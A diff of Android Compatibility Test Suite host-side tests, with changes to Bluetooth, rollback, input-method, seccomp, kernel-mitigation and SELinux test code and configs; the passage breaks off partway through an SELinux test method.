--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
@@ -75,6 +75,9 @@
/** Number of times to check that app is in correct state before giving up. */
public static final int PROC_STATE_CHECK_ATTEMPTS = 10;
+ /** Number of times to check that Bluetooth is enabled before giving up. */
+ public static final int BT_ENABLE_ATTEMPTS = 8;
+
/** Perform the action specified by the given action code (see constants above). */
public static void doAction(Context ctx, String actionCode, String requestCode) {
if (actionCode == null) {
@@ -167,7 +170,17 @@
Log.e(TAG, "Bluetooth is not enabled");
return;
}
- sleep(8_000);
+ for (int attempt = 0; attempt < BT_ENABLE_ATTEMPTS; attempt++) {
+ if (bluetoothAdapter.isEnabled()) {
+ break;
+ } else {
+ if (attempt < BT_ENABLE_ATTEMPTS - 1) {
+ sleep(1_000);
+ } else {
+ throw new RuntimeException("Bluetooth enable failed.");
+ }
+ }
+ }
bluetoothEnabledByTest = true;
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 90b78fc..1356600 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -126,8 +126,8 @@
assertTrue(jankyDelta < 25);
int gt150msDelta = countFramesAbove(statsAfter, 150) - countFramesAbove(statsBefore, 150);
- assertTrue(gt150msDelta >= 20); // 10 davey jrs + 10 daveys + maybe first frame
- assertTrue(gt150msDelta <= 21);
+ assertTrue(gt150msDelta >= 20); // 10 davey jrs + 10 daveys + maybe first 2 frames
+ assertTrue(gt150msDelta <= 22);
int gt700msDelta = countFramesAbove(statsAfter, 700) - countFramesAbove(statsBefore, 700);
assertEquals(10, gt700msDelta); // 10 daveys
}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
index e69dc5f..d6bc90e 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
@@ -113,6 +113,6 @@
private static final String NO_OP_TEST =
"android.inputmethodservice.cts.devicetest.NoOpDeviceTest";
- public static final TestInfo TEST_WAIT_3SEC =
- new TestInfo(PACKAGE, NO_OP_TEST, "testWait3Sec");
+ public static final TestInfo TEST_WAIT_15SEC =
+ new TestInfo(PACKAGE, NO_OP_TEST, "testWait15Sec");
}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java
index 34402ee..dcd79f5 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java
@@ -29,9 +29,9 @@
@RunWith(AndroidJUnit4.class)
public class NoOpDeviceTest {
- /** Does nothing but just wait 3 seconds. */
+ /** Does nothing but just wait 15 seconds. */
@Test
- public void testWait3Sec() {
- SystemClock.sleep(3000);
+ public void testWait15Sec() {
+ SystemClock.sleep(15000);
}
}
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
index af7d944..f1e73a2 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
@@ -152,7 +152,7 @@
final int secondaryUserId = getDevice().createUser(
"InputMethodMultiUserTest_secondaryUser" + System.currentTimeMillis());
- getDevice().startUser(secondaryUserId);
+ getDevice().startUser(secondaryUserId, true /* waitFlag */);
installPossibleInstantPackage(DeviceTestConstants.APK, primaryUserId, instant);
installPossibleInstantPackage(DeviceTestConstants.APK, secondaryUserId, instant);
@@ -212,7 +212,7 @@
final int primaryUserId = getDevice().getPrimaryUserId();
final int profileUserId = createProfile(primaryUserId);
- getDevice().startUser(profileUserId);
+ getDevice().startUser(profileUserId, true /* waitFlag */);
installPossibleInstantPackage(DeviceTestConstants.APK, primaryUserId, instant);
installPossibleInstantPackage(DeviceTestConstants.APK, profileUserId, instant);
@@ -351,13 +351,13 @@
try {
// This test should never fail. If this fails, it means that the system was not yet
// ready to run tests in this APK.
- runTestAsUser(DeviceTestConstants.TEST_WAIT_3SEC, userId);
+ runTestAsUser(DeviceTestConstants.TEST_WAIT_15SEC, userId);
return;
} catch (AssertionError e) {
// Ignoring because it can be because of Bug 132082599.
}
}
- runTestAsUser(DeviceTestConstants.TEST_WAIT_3SEC, userId);
+ runTestAsUser(DeviceTestConstants.TEST_WAIT_15SEC, userId);
}
diff --git a/hostsidetests/jdwpsecurity/AndroidTest.xml b/hostsidetests/jdwpsecurity/AndroidTest.xml
index 6d6db7ce..f946b9b 100644
--- a/hostsidetests/jdwpsecurity/AndroidTest.xml
+++ b/hostsidetests/jdwpsecurity/AndroidTest.xml
@@ -17,6 +17,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="component" value="art" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsJdwpSecurityHostTestCases.jar" />
diff --git a/hostsidetests/jdwptunnel/AndroidTest.xml b/hostsidetests/jdwptunnel/AndroidTest.xml
index 434d5ac..89b8c74 100644
--- a/hostsidetests/jdwptunnel/AndroidTest.xml
+++ b/hostsidetests/jdwptunnel/AndroidTest.xml
@@ -16,6 +16,7 @@
<configuration description="Config for the CTS JDWP tunnel host test cases">
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="component" value="art" />
<option name="test-suite-tag" value="cts" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/jvmti/attaching/host/AndroidTest.xml b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
index 5972229..c9da495 100644
--- a/hostsidetests/jvmti/attaching/host/AndroidTest.xml
+++ b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
@@ -18,6 +18,7 @@
<!-- Requires debuggable -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="component" value="art" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/monkey/AndroidTest.xml b/hostsidetests/monkey/AndroidTest.xml
index 88abf14..fdb2296 100644
--- a/hostsidetests/monkey/AndroidTest.xml
+++ b/hostsidetests/monkey/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="misc" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsMonkeyTestCases.jar" />
<option name="runtime-hint" value="5m7s" />
diff --git a/hostsidetests/os/OWNERS b/hostsidetests/os/OWNERS
new file mode 100644
index 0000000..ca737ac
--- /dev/null
+++ b/hostsidetests/os/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 25692
+michaelwr@google.com
+santoscordon@google.com
+per-file InattentiveSleepTests.java=rgl@google.com, robhor@google.com
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
new file mode 100644
index 0000000..502d708
--- /dev/null
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsHostPowerManagerTestApp",
+ defaults: ["cts_support_defaults"],
+ sdk_version: "current",
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
deleted file mode 100644
index e58a3d2..0000000
--- a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostPowerManagerTestApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/rollback/Android.bp b/hostsidetests/rollback/Android.bp
index c3dbe18..817a339 100644
--- a/hostsidetests/rollback/Android.bp
+++ b/hostsidetests/rollback/Android.bp
@@ -24,7 +24,7 @@
android_test_helper_app {
name: "CtsRollbackManagerHostTestHelperApp",
srcs: ["app/src/**/*.java"],
- static_libs: ["androidx.test.rules", "cts-rollback-lib"],
+ static_libs: ["androidx.test.rules", "cts-rollback-lib", "cts-install-lib"],
manifest : "app/AndroidManifest.xml",
java_resources: [
":StagedInstallTestApexV2",
diff --git a/hostsidetests/rollback/app/AndroidManifest.xml b/hostsidetests/rollback/app/AndroidManifest.xml
index 2aac999..421ceff 100644
--- a/hostsidetests/rollback/app/AndroidManifest.xml
+++ b/hostsidetests/rollback/app/AndroidManifest.xml
@@ -18,7 +18,7 @@
package="com.android.cts.rollback.host.app" >
<application>
- <receiver android:name="com.android.cts.rollback.lib.LocalIntentSender"
+ <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
android:exported="true" />
<uses-library android:name="android.test.runner" />
</application>
diff --git a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
index 1e8040d..4faa965 100644
--- a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
+++ b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
@@ -21,14 +21,16 @@
import static com.google.common.truth.Truth.assertThat;
import android.Manifest;
+import android.content.pm.PackageInstaller;
import android.content.rollback.RollbackInfo;
+import android.util.Log;
-import androidx.test.InstrumentationRegistry;
-
-import com.android.cts.rollback.lib.Install;
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
import com.android.cts.rollback.lib.Rollback;
-import com.android.cts.rollback.lib.TestApp;
-import com.android.cts.rollback.lib.Utils;
+import com.android.cts.rollback.lib.RollbackUtils;
import org.junit.After;
import org.junit.Before;
@@ -43,14 +45,15 @@
*/
@RunWith(JUnit4.class)
public class HostTestHelper {
+ private static final String TAG = "RollbackTest";
+
/**
* Adopts common permissions needed to test rollbacks.
*/
@Before
public void setup() throws InterruptedException, IOException {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .adoptShellPermissionIdentity(
+ InstallUtils.adoptShellPermissionIdentity(
Manifest.permission.INSTALL_PACKAGES,
Manifest.permission.DELETE_PACKAGES,
Manifest.permission.TEST_MANAGE_ROLLBACKS);
@@ -61,10 +64,32 @@
*/
@After
public void teardown() throws InterruptedException, IOException {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .dropShellPermissionIdentity();
+ InstallUtils.dropShellPermissionIdentity();
}
+ /**
+ * Called by host side @Before/@After methods to clean up leftover sessions from last test
+ * so staged-installs won't fail.
+ */
+ @Test
+ public void cleanUp() throws Exception {
+ PackageInstaller packageInstaller = InstallUtils.getPackageInstaller();
+ packageInstaller.getStagedSessions().forEach(sessionInfo -> {
+ if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID
+ || sessionInfo.isStagedSessionApplied()
+ || sessionInfo.isStagedSessionFailed()) {
+ return;
+ }
+ try {
+ Log.i(TAG, "abandoning session " + sessionInfo.getSessionId());
+ packageInstaller.abandonSession(sessionInfo.getSessionId());
+ } catch (Exception e) {
+ Log.e(TAG, "Failed to abandon session " + sessionInfo.getSessionId(), e);
+ }
+ });
+
+ Uninstall.packages(TestApp.A);
+ }
/**
* Test rollbacks of staged installs involving only apks.
@@ -72,7 +97,7 @@
*/
@Test
public void testApkOnlyEnableRollback() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
Install.single(TestApp.A1).commit();
Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
@@ -88,15 +113,15 @@
*/
@Test
public void testApkOnlyCommitRollback() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
- RollbackInfo available = Utils.getAvailableRollback(TestApp.A);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
assertThat(available).isStaged();
assertThat(available).packagesContainsExactly(
Rollback.from(TestApp.A2).to(TestApp.A1));
- assertThat(Utils.getCommittedRollback(TestApp.A)).isNull();
+ assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
- Utils.rollback(available.getRollbackId(), TestApp.A2);
- RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+ RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+ RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
assertThat(committed).hasRollbackId(available.getRollbackId());
assertThat(committed).isStaged();
assertThat(committed).packagesContainsExactly(
@@ -106,8 +131,8 @@
// Note: The app is not rolled back until after the rollback is staged
// and the device has been rebooted.
- Utils.waitForSessionReady(committed.getCommittedSessionId());
- assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
// At this point, the host test driver will reboot the device and run
// testApkOnlyConfirmRollback().
@@ -119,9 +144,9 @@
*/
@Test
public void testApkOnlyConfirmRollback() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
- RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+ RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
assertThat(committed).isStaged();
assertThat(committed).packagesContainsExactly(
Rollback.from(TestApp.A2).to(TestApp.A1));
@@ -138,7 +163,7 @@
*/
@Test
public void testApexOnlyInstallFirstVersion() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
Install.single(TestApp.Apex2).setStaged().commit();
@@ -152,7 +177,7 @@
*/
@Test
public void testApexOnlyEnableRollback() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
Install.single(TestApp.Apex3).setStaged().setEnableRollback().commit();
// At this point, the host test driver will reboot the device and run
@@ -165,14 +190,14 @@
*/
@Test
public void testApexOnlyCommitRollback() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
- RollbackInfo available = Utils.getAvailableRollback(TestApp.Apex);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+ RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
assertThat(available).isStaged();
assertThat(available).packagesContainsExactly(
Rollback.from(TestApp.Apex3).to(TestApp.Apex2));
- Utils.rollback(available.getRollbackId(), TestApp.Apex3);
- RollbackInfo committed = Utils.getCommittedRollbackById(available.getRollbackId());
+ RollbackUtils.rollback(available.getRollbackId(), TestApp.Apex3);
+ RollbackInfo committed = RollbackUtils.getCommittedRollbackById(available.getRollbackId());
assertThat(committed).isNotNull();
assertThat(committed).isStaged();
assertThat(committed).packagesContainsExactly(
@@ -182,8 +207,8 @@
// Note: The app is not rolled back until after the rollback is staged
// and the device has been rebooted.
- Utils.waitForSessionReady(committed.getCommittedSessionId());
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+ InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
// At this point, the host test driver will reboot the device and run
// testApexOnlyConfirmRollback().
@@ -195,7 +220,7 @@
*/
@Test
public void testApexOnlyConfirmRollback() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
// Rollback data for shim apex will remain in storage since the apex cannot be completely
// removed and thus the rollback data won't be expired. Unfortunately, we can't also delete
@@ -213,8 +238,8 @@
*/
@Test
public void testApexAndApkInstallFirstVersion() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
- assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
Install.multi(TestApp.Apex2, TestApp.A1).setStaged().commit();
@@ -228,8 +253,8 @@
*/
@Test
public void testApexAndApkEnableRollback() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
- assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
Install.multi(TestApp.Apex3, TestApp.A2).setStaged().setEnableRollback().commit();
// At this point, the host test driver will reboot the device and run
@@ -242,16 +267,16 @@
*/
@Test
public void testApexAndApkCommitRollback() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
- assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
- RollbackInfo available = Utils.getAvailableRollback(TestApp.Apex);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
assertThat(available).isStaged();
assertThat(available).packagesContainsExactly(
Rollback.from(TestApp.Apex3).to(TestApp.Apex2),
Rollback.from(TestApp.A2).to(TestApp.A1));
- Utils.rollback(available.getRollbackId(), TestApp.Apex3, TestApp.A2);
- RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+ RollbackUtils.rollback(available.getRollbackId(), TestApp.Apex3, TestApp.A2);
+ RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
assertThat(committed).isNotNull();
assertThat(committed).isStaged();
assertThat(committed).packagesContainsExactly(
@@ -262,9 +287,9 @@
// Note: The app is not rolled back until after the rollback is staged
// and the device has been rebooted.
- Utils.waitForSessionReady(committed.getCommittedSessionId());
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
- assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+ InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
// At this point, the host test driver will reboot the device and run
// testApexOnlyConfirmRollback().
@@ -276,9 +301,9 @@
*/
@Test
public void testApexAndApkConfirmRollback() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
- RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+ RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
assertThat(committed).isStaged();
assertThat(committed).packagesContainsExactly(
Rollback.from(TestApp.Apex3).to(TestApp.Apex2),
@@ -299,7 +324,7 @@
*/
@Test
public void testApexRollbackExpirationEnableRollback() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
Install.single(TestApp.Apex2).setStaged().setEnableRollback().commit();
@@ -313,8 +338,8 @@
*/
@Test
public void testApexRollbackExpirationUpdateApex() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
- assertThat(Utils.getAvailableRollback(TestApp.Apex)).isNotNull();
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ assertThat(RollbackUtils.getAvailableRollback(TestApp.Apex)).isNotNull();
Install.single(TestApp.Apex3).setStaged().commit();
// At this point, the host test driver will reboot the device and run
@@ -327,7 +352,7 @@
*/
@Test
public void testApexRollbackExpirationConfirmExpiration() throws Exception {
- assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
- assertThat(Utils.getAvailableRollback(TestApp.Apex)).isNull();
+ assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+ assertThat(RollbackUtils.getAvailableRollback(TestApp.Apex)).isNull();
}
}
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 60e154c..942ee22 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -26,6 +26,7 @@
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import org.junit.After;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -36,7 +37,6 @@
public class RollbackManagerHostTest extends BaseHostJUnit4Test {
private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
- private static final String TEST_APK_PACKAGE_NAME = "com.android.cts.rollback.lib.testapp.A";
/**
* Runs the helper app test method on device.
@@ -96,11 +96,13 @@
* to complete the uninstall.
*
* <p>This is needed because the apex cannot be deleted using PackageInstaller API.
+ *
+ * Also abandon sessions left by previous tests so staged-installs won't fail.
*/
+ @Before
@After
- public void tearDown() throws Exception {
- // uninstalling the APK doesn't have much overhead, so we can do it after every case
- getDevice().uninstallPackage(TEST_APK_PACKAGE_NAME);
+ public void cleanUp() throws Exception {
+ run("cleanUp");
uninstallShimApexIfNecessary();
}
diff --git a/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
index 1aac7239..99080a1 100644
--- a/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
+++ b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
@@ -29,6 +29,8 @@
#define ALOGI(...) ALOG(LOG_INFO, LOG_TAG, __VA_ARGS__)
#define ALOGE(...) ALOG(LOG_ERROR, LOG_TAG, __VA_ARGS__)
+#define PER_USER_RANGE 100000
+
/*
* Function: testSyscallBlocked
* Purpose: test that the syscall listed is blocked by seccomp
@@ -77,11 +79,21 @@
}
static jboolean testSetresuidBlocked(JNIEnv *, jobject, jint ruid, jint euid, jint suid) {
- return doTestSyscallBlocked([&] {ALOGE("Calling setresuid\n"); setresuid(ruid, euid, suid);});
+ jint userId = getuid() / PER_USER_RANGE;
+ jint userRuid = userId * PER_USER_RANGE + ruid;
+ jint userEuid = userId * PER_USER_RANGE + euid;
+ jint userSuid = userId * PER_USER_RANGE + suid;
+
+ return doTestSyscallBlocked([&] {ALOGE("Calling setresuid\n"); setresuid(userRuid, userEuid, userSuid);});
}
static jboolean testSetresgidBlocked(JNIEnv *, jobject, jint rgid, jint egid, jint sgid) {
- return doTestSyscallBlocked([&] {ALOGE("Calling setresgid\n"); setresgid(rgid, egid, sgid);});
+ jint userId = getuid() / PER_USER_RANGE;
+ jint userRgid = userId * PER_USER_RANGE + rgid;
+ jint userEgid = userId * PER_USER_RANGE + egid;
+ jint userSgid = userId * PER_USER_RANGE + sgid;
+
+ return doTestSyscallBlocked([&] {ALOGE("Calling setresgid\n"); setresgid(userRgid, userEgid, userSgid);});
}
static JNINativeMethod gMethods[] = {
diff --git a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
index 113ec76..9834561 100644
--- a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
@@ -205,7 +205,12 @@
put("Kirin970", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("Kirin810", null);
put("Kirin710", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+ put("SM6150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+ put("SM7150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+ put("SM7250", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("SM8150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+ put("SM8150P", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+ put("SM8250", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
"CONFIG_UNMAP_KERNEL_AT_EL0=y"});
}};
@@ -222,14 +227,19 @@
*/
@CddTest(requirement="9.7")
public void testConfigHardwareMitigations() throws Exception {
+ String mitigations[];
+
if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
return;
}
if (CpuFeatures.isArm64(mDevice) && !CpuFeatures.kernelVersionLessThan(mDevice, 4, 4)) {
- for (String mitigation : lookupMitigations()) {
- assertTrue("Linux kernel must have " + mitigation + " enabled.",
- configSet.contains(mitigation));
+ mitigations = lookupMitigations();
+ if (mitigations != null) {
+ for (String mitigation : mitigations) {
+ assertTrue("Linux kernel must have " + mitigation + " enabled.",
+ configSet.contains(mitigation));
+ }
}
} else if (CpuFeatures.isX86(mDevice)) {
assertTrue("Linux kernel must have KPTI enabled: CONFIG_PAGE_TABLE_ISOLATION=y",
diff --git a/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
index 6db835e..b2f5895 100644
--- a/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/cts/security/SELinuxHostTest.java
@@ -448,7 +448,7 @@
return;
}
- if (getDevice().hasFeature("android.hardware.type.automotive")) {
+ if (getDevice().hasFeature("feature:android.hardware.type.automotive")) {
return;
}
@@ -1021,7 +1021,7 @@
/**
* Asserts that a domain may exist. If a domain exists, the cardinality of
* the domain is verified to be 1 and that the correct process is running in
- * that domain.
+ * that domain. If the process is running, it is running in that domain.
*
* @param domain
* The domain or SELinux context to check.
@@ -1032,19 +1032,21 @@
throws DeviceNotAvailableException {
List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
-
if (procs != null) {
String msg = "Expected 1 process in SELinux domain \"" + domain + "\""
- + " Found: \"" + procs + "\"";
+ + " Found: \"" + procs + "\"";
assertEquals(msg, 1, procs.size());
